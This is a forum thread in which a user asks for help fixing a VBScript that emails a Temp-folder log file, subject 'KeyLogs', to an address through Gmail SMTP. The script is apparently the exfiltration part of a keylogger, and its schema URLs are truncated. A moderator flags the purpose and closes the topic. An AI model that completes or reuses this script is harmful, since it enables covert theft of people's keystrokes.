|
Answer» Hello i am trying to send a email to myself through vbs script with a file attachment using a code that i found online but i keep getting an error STATING (The "send using" configuration value is invalid). Anyone can explain what im doing wrong and how to fix it?
Option Explicit Dim objMessage, Email, EPass Email = "[emailprotected]" EPass = "********" Set objMessage = CreateObject("CDO.Message") objMessage.Subject = "KeyLogs" objMessage.From = Email objMessage.To = "[emailprotected]" objMessage.TextBody = "(Time-18:58:06.34)_(User-Jacob)" objMessage.AddAttachment "C:\Users\Jacob\AppData\Local\Temp\File.log" objMessage.Configuration.Fields.Item _ ("http://schemas.microsoft.com/cdo/conf...") = 2 'Name or IP of Remote SMTP Server objMessage.Configuration.Fields.Item _ ("http://schemas.microsoft.com/cdo/conf...") = "smtp.gmail.com" objMessage.Configuration.Fields.Item _ ("http://schemas.microsoft.com/cdo/conf...") = 1 'Your UserID on the SMTP server objMessage.Configuration.Fields.Item _ ("http://schemas.microsoft.com/cdo/conf...") = Email 'Your password on the SMTP server objMessage.Configuration.Fields.Item _ ("http://schemas.microsoft.com/cdo/conf...") = EPass 'Server PORT (typically 25) objMessage.Configuration.Fields.Item _ ("http://schemas.microsoft.com/cdo/conf...") = "465" 'Use SSL for the CONNECTION (False or True) objMessage.Configuration.Fields.Item _ ("http://schemas.microsoft.com/cdo/conf...") = True 'Connection Timeout in SECONDS (the maximum time CDO will try to establish a connection to the SMTP server) objMessage.Configuration.Fields.Item _ ("http://schemas.microsoft.com/cdo/conf...") = 60 objMessage.Configuration.Fields.Update objMessage.Send Set objMessage = Nothing MsgBox "Message sent"
The links do not work. Are there any links that do work, i found this online so can i have an example of some working links to replace the original links? I'm not sure if the forum trimmed the Schema URLs, but it makes it impossible to know what any of the schemas being used are.
SendUsing=2 (SMTP over network) appears to require administrator permissions.
One can safely ASSUME that:
Code: [Select]objMessage.Subject = "KeyLogs" puts it outside the realm of what most people are willing to help with, anyway.Topic Closed.Zask you are already under a Forum watch....i suggest you re-visit and read the Forum Rules again.
|